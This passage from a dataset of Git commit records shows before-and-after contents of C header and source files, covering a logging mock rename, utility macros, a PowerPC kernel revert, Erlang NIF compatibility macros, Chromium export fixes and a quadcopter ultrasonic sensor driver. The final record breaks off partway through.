{"commit":"dbb8a82f627267067dee720b38bdc77a7c83bcc1","old_file":"src\/tests\/log_mock.c","new_file":"src\/tests\/log_mock.c","old_contents":"#include \"log.h\"\n#include <stdio.h>\n#include <stdarg.h>\n\nvoid debug(const char* format, ...) {\n#ifdef __DEBUG__\n    va_list args;\n    va_start(args, format);\n    vprintf(format, args);\n    va_end(args);\n#endif \/\/ __DEBUG__\n}\n\nvoid initializeLogging() { }\n","new_contents":"#include \"log.h\"\n#include <stdio.h>\n#include <stdarg.h>\n\nvoid debugNoNewline(const char* format, ...) {\n#ifdef __DEBUG__\n    va_list args;\n    va_start(args, format);\n    vprintf(format, args);\n    va_end(args);\n#endif \/\/ __DEBUG__\n}\n\nvoid initializeLogging() { }\n","subject":"Rename test suite version of debug to match the header.","message":"Rename test suite version of debug to match the header.\n","lang":"C","license":"bsd-3-clause","repos":"mgiannikouris\/vi-firmware,openxc\/vi-firmware,ene-ilies\/vi-firmware,ene-ilies\/vi-firmware,mgiannikouris\/vi-firmware,ene-ilies\/vi-firmware,openxc\/vi-firmware,openxc\/vi-firmware,mgiannikouris\/vi-firmware,ene-ilies\/vi-firmware,openxc\/vi-firmware,mgiannikouris\/vi-firmware"}
{"commit":"7a02c1174d819be374c24fd8b406ff3d66c9bbab","old_file":"src\/util.h","new_file":"src\/util.h","old_contents":"#ifndef UTIL_H\n#define UTIL_H\n\n\/*** Utility functions ***\/\n\n#define ALLOC(type) ALLOC_N(type, 1)\n#define ALLOC_N(type, n) ((type*) xmalloc(sizeof(type) * (n)))\nvoid *xmalloc(size_t);\nchar *hextoa(const char *, int);\n\n#define STARTS_WITH(x, y) (strncmp((x), (y), strlen(y)) == 0)\n\n#endif \/* UTIL_H *\/\n","new_contents":"#ifndef UTIL_H\n#define UTIL_H\n\n\/*** Utility functions ***\/\n\n#define ALLOC(type) ALLOC_N(type, 1)\n#define ALLOC_N(type, n) ((type*) xmalloc(sizeof(type) * (n)))\n#define MEMCPY(dst, src, type) MEMCPY_N(dst, src, type, 1)\n#define MEMCPY_N(dst, src, type, n) (memcpy((dst), (src), sizeof(type) * (n)))\nvoid *xmalloc(size_t);\nchar *hextoa(const char *, int);\n\n#define STARTS_WITH(x, y) (strncmp((x), (y), strlen(y)) == 0)\n\n#endif \/* UTIL_H *\/\n","subject":"Add MEMCPY and MEMCPY_N macros","message":"Add MEMCPY and MEMCPY_N macros\n","lang":"C","license":"apache-2.0","repos":"mopidy\/libmockspotify,mopidy\/libmockspotify,mopidy\/libmockspotify"}
{"commit":"cb694769f0d0c1f6fb8c9dc806c0a68da1056055","old_file":"arch\/powerpc\/include\/asm\/sparsemem.h","new_file":"arch\/powerpc\/include\/asm\/sparsemem.h","old_contents":"#ifndef _ASM_POWERPC_SPARSEMEM_H\n#define _ASM_POWERPC_SPARSEMEM_H 1\n#ifdef __KERNEL__\n\n#ifdef CONFIG_SPARSEMEM\n\/*\n * SECTION_SIZE_BITS\t\t2^N: how big each section will be\n * MAX_PHYSADDR_BITS\t\t2^N: how much physical address space we have\n * MAX_PHYSMEM_BITS\t\t2^N: how much memory we can have in that space\n *\/\n#define SECTION_SIZE_BITS       28\n\n#define MAX_PHYSADDR_BITS       44\n#define MAX_PHYSMEM_BITS        44\n\n#endif \/* CONFIG_SPARSEMEM *\/\n\n#ifdef CONFIG_MEMORY_HOTPLUG\nextern void create_section_mapping(unsigned long start, unsigned long end);\nextern int remove_section_mapping(unsigned long start, unsigned long end);\n#ifdef CONFIG_NUMA\nextern int hot_add_scn_to_nid(unsigned long scn_addr);\n#else\nstatic inline int hot_add_scn_to_nid(unsigned long scn_addr)\n{\n\treturn 0;\n}\n#endif \/* CONFIG_NUMA *\/\n#endif \/* CONFIG_MEMORY_HOTPLUG *\/\n\n#endif \/* __KERNEL__ *\/\n#endif \/* _ASM_POWERPC_SPARSEMEM_H *\/\n","new_contents":"#ifndef _ASM_POWERPC_SPARSEMEM_H\n#define _ASM_POWERPC_SPARSEMEM_H 1\n#ifdef __KERNEL__\n\n#ifdef CONFIG_SPARSEMEM\n\/*\n * SECTION_SIZE_BITS\t\t2^N: how big each section will be\n * MAX_PHYSADDR_BITS\t\t2^N: how much physical address space we have\n * MAX_PHYSMEM_BITS\t\t2^N: how much memory we can have in that space\n *\/\n#define SECTION_SIZE_BITS       24\n\n#define MAX_PHYSADDR_BITS       44\n#define MAX_PHYSMEM_BITS        44\n\n#endif \/* CONFIG_SPARSEMEM *\/\n\n#ifdef CONFIG_MEMORY_HOTPLUG\nextern void create_section_mapping(unsigned long start, unsigned long end);\nextern int remove_section_mapping(unsigned long start, unsigned long end);\n#ifdef CONFIG_NUMA\nextern int hot_add_scn_to_nid(unsigned long scn_addr);\n#else\nstatic inline int hot_add_scn_to_nid(unsigned long scn_addr)\n{\n\treturn 0;\n}\n#endif \/* CONFIG_NUMA *\/\n#endif \/* CONFIG_MEMORY_HOTPLUG *\/\n\n#endif \/* __KERNEL__ *\/\n#endif \/* _ASM_POWERPC_SPARSEMEM_H *\/\n","subject":"Revert \"powerpc\/mm: Bump SECTION_SIZE_BITS from 16MB to 256MB\"","message":"Revert \"powerpc\/mm: Bump SECTION_SIZE_BITS from 16MB to 256MB\"\n\nThis reverts commit 7545ba6f82924d4523f8f8a2baf2e517a750265d.\n\nIt breaks eHEA among other issues\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"b59b6012f5562764a817aeb0670bbeda196adb84","old_file":"c_src\/erl_nif_compat.h","new_file":"c_src\/erl_nif_compat.h","old_contents":"","new_contents":"#ifndef ERL_NIF_COMPAT_H_\n#define ERL_NIF_COMPAT_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\n#include \"erl_nif.h\"\n\n#if ERL_NIF_MAJOR_VERSION == 1 && ERL_NIF_MINOR_VERSION == 0\n\n#define enif_open_resource_type_compat enif_open_resource_type\n#define enif_alloc_resource_compat enif_alloc_resource\n#define enif_release_resource_compat enif_release_resource\n#define enif_alloc_binary_compat enif_alloc_binary\n#define enif_realloc_binary_compat enif_realloc_binary\n#define enif_release_binary_compat enif_release_binary\n#define enif_alloc_compat enif_alloc\n#define enif_free_compat enif_free\n#define enif_get_atom_compat(E, T, B, S, C) \\\n    enif_get_atom(E, T, B, S)\n\n#endif \/* R13B04 *\/\n\n#if ERL_NIF_MAJOR_VERSION == 2 && ERL_NIF_MINOR_VERSION == 0\n\n#define enif_open_resource_type_compat(E, N, D, F, T) \\\n    enif_open_resource_type(E, NULL, N, D, F, T)\n\n#define enif_alloc_resource_compat(E, T, S) \\\n    enif_alloc_resource(T, S)\n\n#define enif_release_resource_compat(E, H) \\\n    enif_release_resource(H)\n\n#define enif_alloc_binary_compat(E, S, B) \\\n    enif_alloc_binary(S, B)\n\n#define enif_realloc_binary_compat(E, B, S) \\\n    enif_realloc_binary(B, S)\n\n#define enif_release_binary_compat(E, B) \\\n    enif_release_binary(B)\n\n#define enif_alloc_compat(E, S) \\\n    enif_alloc(S)\n\n#define enif_free_compat(E, P) \\\n    enif_free(P)\n\n#define enif_get_atom_compat enif_get_atom\n\n#endif \/* R14 *\/\n\n\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n\n#endif \/* ERL_NIF_COMPAT_H_ *\/\n","subject":"Add compatibility header and use compatibility macros to enable builds on both R13 and R14.","message":"Add compatibility header and use compatibility macros to enable builds on both R13 and R14.\n","lang":"C","license":"apache-2.0","repos":"beerriot\/icu4e"}
{"commit":"933211fa8d30fba9c689b28f30e0aa353341c345","old_file":"include\/Information\/GameModeWidget.h","new_file":"include\/Information\/GameModeWidget.h","old_contents":"#ifndef GAMEMODEWIDGET_H\n#define GAMEMODEWIDGET_H\n\n#include <QtWidgets>\n\n#include \"PlayerActivatedWidget.h\"\n#include \"PlayerControlModeWidget.h\"\n\n#include \"Game\\Player.h\"\n#include \"Game\\State.h\"\n\nclass GameModeWidget : public QWidget\n{\npublic:\n\tGameModeWidget(QWidget * parent = 0);\n\t~GameModeWidget();\n\n\tPlayer currentPlayer()const;\n\tState currentMode()const;\n\nprotected:\n\nprivate:\n\tPlayerActivatedWidget * m_player1Indicator,\n\t\t*m_player2Indicator;\n\tPlayerControlModeWidget * m_playerControlAngle, \n\t\t\t\t\t\t\t* m_playerControlPower, \n\t\t\t\t\t\t\t* m_playerControlFire;\npublic slots:\n\tvoid setCurrentMode(State gameMode);\n\tvoid setCurrentPlayer(Player player);\n};\n\n#endif\n","new_contents":"#ifndef GAMEMODEWIDGET_H\n#define GAMEMODEWIDGET_H\n\n#include <QtWidgets>\n\n#include \"PlayerActivatedWidget.h\"\n#include \"PlayerControlModeWidget.h\"\n\n#include \"Game\/Player.h\"\n#include \"Game\/State.h\"\n\nclass GameModeWidget : public QWidget\n{\npublic:\n\tGameModeWidget(QWidget * parent = 0);\n\t~GameModeWidget();\n\n\tPlayer currentPlayer()const;\n\tState currentMode()const;\n\nprotected:\n\nprivate:\n\tPlayerActivatedWidget * m_player1Indicator,\n\t\t*m_player2Indicator;\n\tPlayerControlModeWidget * m_playerControlAngle, \n\t\t\t\t\t\t\t* m_playerControlPower, \n\t\t\t\t\t\t\t* m_playerControlFire;\npublic slots:\n\tvoid setCurrentMode(State gameMode);\n\tvoid setCurrentPlayer(Player player);\n};\n\n#endif\n","subject":"Update relative path of includes","message":"Update relative path of includes \n\n","lang":"C","license":"mit","repos":"Sytten\/Scorch,Sytten\/Scorch"}
{"commit":"df36a4196cfc8fd8b6a4ac8231d56b3c1a6b8edc","old_file":"include\/h2o\/httpparser.h","new_file":"include\/h2o\/httpparser.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2016 Domingo Alvarez Duarte\n *\n * The software is licensed under either the MIT License (below) or the Perl\n * license.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#ifndef HTTPPARSER_H\n#define HTTPPARSER_H\n\n#include \"picohttpparser.h\"\n\n#endif \/\/ HTTPPARSER_H\n","subject":"Add the h2o\/httparser.h forgotten on previous commit","message":"Add the h2o\/httparser.h forgotten on previous commit\n","lang":"C","license":"mit","repos":"mingodad\/h2o,mingodad\/h2o,mingodad\/h2o,mingodad\/h2o,mingodad\/h2o,mingodad\/h2o,mingodad\/h2o,mingodad\/h2o"}
{"commit":"c203f03fc14b048592445ee37620fa5c366b2251","old_file":"views\/view_constants.h","new_file":"views\/view_constants.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef VIEWS_VIEW_CONSTANTS_H_\n#define VIEWS_VIEW_CONSTANTS_H_\n#pragma once\n\n#include \"views\/views_export.h\"\n\nnamespace views {\n\n\/\/ Size (width or height) within which the user can hold the mouse and the\n\/\/ view should scroll.\nextern const int kAutoscrollSize;\n\n\/\/ Time in milliseconds to autoscroll by a row. This is used during drag and\n\/\/ drop.\nextern const int kAutoscrollRowTimerMS;\n\n\/\/ Used to determine whether a drop is on an item or before\/after it. If a drop\n\/\/ occurs kDropBetweenPixels from the top\/bottom it is considered before\/after\n\/\/ the item, otherwise it is on the item.\nVIEWS_EXPORT extern const int kDropBetweenPixels;\n\n}  \/\/ namespace views\n\n#endif  \/\/ VIEWS_VIEW_CONSTANTS_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef VIEWS_VIEW_CONSTANTS_H_\n#define VIEWS_VIEW_CONSTANTS_H_\n#pragma once\n\n#include \"views\/views_export.h\"\n\nnamespace views {\n\n\/\/ Size (width or height) within which the user can hold the mouse and the\n\/\/ view should scroll.\nVIEWS_EXPORT extern const int kAutoscrollSize;\n\n\/\/ Time in milliseconds to autoscroll by a row. This is used during drag and\n\/\/ drop.\nVIEWS_EXPORT extern const int kAutoscrollRowTimerMS;\n\n\/\/ Used to determine whether a drop is on an item or before\/after it. If a drop\n\/\/ occurs kDropBetweenPixels from the top\/bottom it is considered before\/after\n\/\/ the item, otherwise it is on the item.\nVIEWS_EXPORT extern const int kDropBetweenPixels;\n\n}  \/\/ namespace views\n\n#endif  \/\/ VIEWS_VIEW_CONSTANTS_H_\n","subject":"Add VIEWS_EXPORT to autoscroll constants.","message":"Add VIEWS_EXPORT to autoscroll constants.\n\nReferenced by browser\/bookmarks\/bookmark_drop_info.cc, fixes link when in\ncomponent and incremental linking on Windows.\n\n\nBUG=\nTEST=Links in Component build mode\n\n\nReview URL: http:\/\/codereview.chromium.org\/7741017\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@98281 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,robclark\/chromium,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,keishi\/chromium,ChromiumWebApps\/chromium,dushu1203\/chromium.src,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,littlstar\/chromium.src,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,zcbenz\/cefode-chromium,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,patrickm\/chromium.src,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,timopulkkinen\/BubbleFish,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,patrickm\/chromium.src,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,patrickm\/chromium.src,dednal\/chromium.src,markYoungH\/chromium.src,Chilledheart\/chromium,nacl-webkit\/chrome_deps,anirudhSK\/chromium,robclark\/chromium,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,anirudhSK\/chromium,jaruba\/chromium.src,patrickm\/chromium.src,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,patrickm\/chromium.src,hujiajie\/pa-chromium,jaruba\/chromium.src,ltilve\/chromium,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,robclark\/chromium,robclark\/chromium,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,rogerwang\/chromium,ltilve\/chromium,nacl-webkit\/chrome_deps,Chilledheart\/chromium,rogerwang\/chromium,anirudhSK\/chromium,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,Just-D\/chromium-1,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,keishi\/chromium,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,keishi\/chromium,axinging\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,zcbenz\/cefode-chromium,M4sse\/chromium.src,jaruba\/chromium.src,keishi\/chromium,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,keishi\/chromium,chuan9\/chromium-crosswalk,ltilve\/chromium,anirudhSK\/chromium,Just-D\/chromium-1,markYoungH\/chromium.src,Jonekee\/chromium.src,keishi\/chromium,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,littlstar\/chromium.src,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,rogerwang\/chromium,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,nacl-webkit\/chrome_deps,dednal\/chromium.src,chuan9\/chromium-crosswalk,keishi\/chromium,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,robclark\/chromium,ondra-novak\/chromium.src,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,Just-D\/chromium-1,robclark\/chromium,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,keishi\/chromium,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,M4sse\/chromium.src,Chilledheart\/chromium,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,robclark\/chromium,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,Fireblend\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,patrickm\/chromium.src,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,jaruba\/chromium.src,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,keishi\/chromium,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,rogerwang\/chromium,rogerwang\/chromium,ChromiumWebApps\/chromium,littlstar\/chromium.src,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,dednal\/chromium.src,nacl-webkit\/chrome_deps,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,jaruba\/chromium.src,rogerwang\/chromium,crosswalk-project\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,zcbenz\/cefode-chromium,M4sse\/chromium.src,zcbenz\/cefode-chromium,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,patrickm\/chromium.src,robclark\/chromium,Jonekee\/chromium.src,markYoungH\/chromium.src,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,Jonekee\/chromium.src,Just-D\/chromium-1,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,Jonekee\/chromium.src,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,markYoungH\/chromium.src,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,rogerwang\/chromium,dednal\/chromium.src,ChromiumWebApps\/chromium,Jonekee\/chromium.src,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,Chilledheart\/chromium,littlstar\/chromium.src,Jonekee\/chromium.src,axinging\/chromium-crosswalk,M4sse\/chromium.src,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,rogerwang\/chromium,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ltilve\/chromium,littlstar\/chromium.src,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,markYoungH\/chromium.src,patrickm\/chromium.src,ltilve\/chromium,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,robclark\/chromium,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,dednal\/chromium.src,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,keishi\/chromium,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,zcbenz\/cefode-chromium,M4sse\/chromium.src,nacl-webkit\/chrome_deps,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,littlstar\/chromium.src,chuan9\/chromium-crosswalk,littlstar\/chromium.src,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,robclark\/chromium,dushu1203\/chromium.src,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,ltilve\/chromium,rogerwang\/chromium,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,dednal\/chromium.src,dednal\/chromium.src,Just-D\/chromium-1,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,Just-D\/chromium-1,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,bright-sparks\/chromium-spacewalk,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,ChromiumWebApps\/chromium,M4sse\/chromium.src,dushu1203\/chromium.src,ltilve\/chromium,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium"}
{"commit":"f819adcbf7fac24094690db9f46c44727b4c1f81","old_file":"program\/driver\/us100.c","new_file":"program\/driver\/us100.c","old_contents":"\/*==============================================================================================*\/\n\/*==============================================================================================*\/\n#include \"QuadCopterConfig.h\"\n\nUltrasonic_t Ultrasonic = {\n\t.lenHigh = 0,\n\t.lenLow = 0,\n\t.d = 0\n};\n\n\/*==============================================================================================*\/\n\/*==============================================================================================*\n**函數 : us100_distant\n**功能 : get 1 calculated distant data from the data received by USART\n**輸入 : Ultrasonic.lenHigh, Ultrasonic.lenLow \n**輸出 : Ultrasonic.d (mm)\n**使用 : us100_distant();\n**==============================================================================================*\/\n\/*==============================================================================================*\/\nvoid us100_distant(){\n\n\t\/\/reading data\n\n\tserial.putc('U');\n\tserial2.putc('1');\n\t\/\/vTaskDelay(500);\n\n\t\/\/calculating the distance\n\t\/\/if(serial2.getc()){\n\t\tUltrasonic.lenHigh = serial.getc();\n\t\tserial2.putc('2');\n\t\tUltrasonic.lenLow = serial.getc();\n\t\tserial2.putc('3');\n\t\tUltrasonic.d = Ultrasonic.lenHigh*256 + Ultrasonic.lenLow;\n\t\/\/}\n}\n","new_contents":"\/*==============================================================================================*\/\n\/*==============================================================================================*\/\n#include \"QuadCopterConfig.h\"\n\n\/* Connection methods of Ultrasonic *\/\n#define ULT_USE_UART2\t1\n#define ULT_USE_PWM\t\t0\n\nUltrasonic_t Ultrasonic = {\n\t.lenHigh = 0,\n\t.lenLow = 0,\n\t.d = 0\n};\n\n\/*==============================================================================================*\/\n\/*==============================================================================================*\n**函數 : us100_distant\n**功能 : get 1 calculated distant data from the data received by USART \n**輸入 : Ultrasonic.lenHigh, Ultrasonic.lenLow \n**輸出 : Ultrasonic.d (mm)\n**使用 : print_us100_distant();\n**==============================================================================================*\/\n\/*==============================================================================================*\/\nvoid print_us100_distant(){\n\n#if ULT_USE_UART2\n\n\tserial2.putc('U');\n\tvTaskDelay(500);\n\t \n\tUltrasonic.lenHigh = serial2.getc();\n\tUltrasonic.lenLow = serial2.getc();\n\tUltrasonic.d = (Ultrasonic.lenHigh*256 + Ultrasonic.lenLow)*0.1;\n\n\tserial.printf(\"Distance: \");\n\tserial.printf(\"%d\",Ultrasonic.d);\n\tserial.printf(\" cm\\n\\r\");\n\tvTaskDelay(30);\n#endif\n\t\n}\n","subject":"Make US100 sensor get distance successfully.","message":"Make US100 sensor get distance successfully.\n","lang":"C","license":"mit","repos":"zxc2694\/STM32F429_Quadrotor,zxc2694\/STM32F429_Quadrotor,zxc2694\/STM32F429_Quadrotor"}
{"commit":"b5514486424d446e30afd645827c79101e28d096","old_file":"src\/lib\/convenienceMap\/mapPutIndividualContextEntityAttribute.h","new_file":"src\/lib\/convenienceMap\/mapPutIndividualContextEntityAttribute.h","old_contents":"#ifndef MAP_PUT_INDIVIDUAL_CONTEXT_ENTITY_ATTRIBUTE_H\n#define MAP_PUT_INDIVIDUAL_CONTEXT_ENTITY_ATTRIBUTE_H\n\n\/*\n*\n* Copyright 2013 Telefonica Investigacion y Desarrollo, S.A.U\n*\n* This file is part of Orion Context Broker.\n*\n* Orion Context Broker is free software: you can redistribute it and\/or\n* modify it under the terms of the GNU Affero General Public License as\n* published by the Free Software Foundation, either version 3 of the\n* License, or (at your option) any later version.\n*\n* Orion Context Broker is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero\n* General Public License for more details.\n*\n* You should have received a copy of the GNU Affero General Public License\n* along with Orion Context Broker. If not, see http:\/\/www.gnu.org\/licenses\/.\n*\n* For those usages not covered by this license please contact with\n* fermin at tid dot es\n*\n* Author: TID Developer\n*\/\n#include \"convenience\/UpdateContextAttributeRequest.h\"\n#include \"mongoBackend\/MongoGlobal.h\"\n\n\n\n\/* ****************************************************************************\n*\n* mapPutIndividualContextEntityAttributes - \n*\/\nextern HttpStatusCode mapPutIndividualContextEntityAttribute(std::string entityId, std::string attributeName, UpdateContextAttributeRequest* request, StatusCode* response);\n\n#endif\n","new_contents":"#ifndef MAP_PUT_INDIVIDUAL_CONTEXT_ENTITY_ATTRIBUTE_H\n#define MAP_PUT_INDIVIDUAL_CONTEXT_ENTITY_ATTRIBUTE_H\n\n\/*\n*\n* Copyright 2014 Telefonica Investigacion y Desarrollo, S.A.U\n*\n* This file is part of Orion Context Broker.\n*\n* Orion Context Broker is free software: you 